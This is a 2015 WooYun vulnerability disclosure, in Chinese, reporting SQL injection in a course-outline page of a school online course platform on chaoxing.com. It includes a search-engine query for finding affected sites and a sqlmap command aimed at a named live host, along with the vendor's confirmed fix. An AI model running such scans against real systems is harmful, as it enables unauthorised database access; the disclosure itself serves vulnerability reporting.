漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态：
2015-06-04： 细节已通知厂商并且等待厂商处理中
2015-06-08： 厂商已经确认，细节仅向厂商公开
2015-06-18： 细节向核心白帽子及相关领域专家公开
2015-06-28： 细节向普通白帽子公开
2015-07-08： 细节向实习白帽子公开
2015-07-23： 细节向公众公开
简要描述：
sqli
详细说明：
很多学校使用的网络课程系统：托管在超星网域名的一些网站：https://www.google.co.jp/?gfe_rd=cr&ei=KmxpVezNLITWuALnyYD4Cw#q=site:chaoxing.com+portal/schoolCourseInfo/courseOutline&safe=off&filter=0
参数存在sql注入。poc： 测试案例1：python sqlmap.py -u "http://muc.benke.chaoxing.com/portal/schoolCourseInfo/courseOutline?courseName=*&pageNum=4" --random-agent --level 5 案例2：python sqlmap.py -u "http://muc.benke.chaoxing.com/portal/schoolCourseInfo/courseOutline?courseName=*&pageNum=4" --random-agent --level 5
漏洞证明：
数据库相关信息证明
修复方案：
SQL注入的防御方法：采用预编译
版权声明：转载请注明来源 路人甲@乌云
>
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：10
确认时间：2015-06-08 11:24
厂商回复：
漏洞已修复，感谢反馈
最新状态：
暂无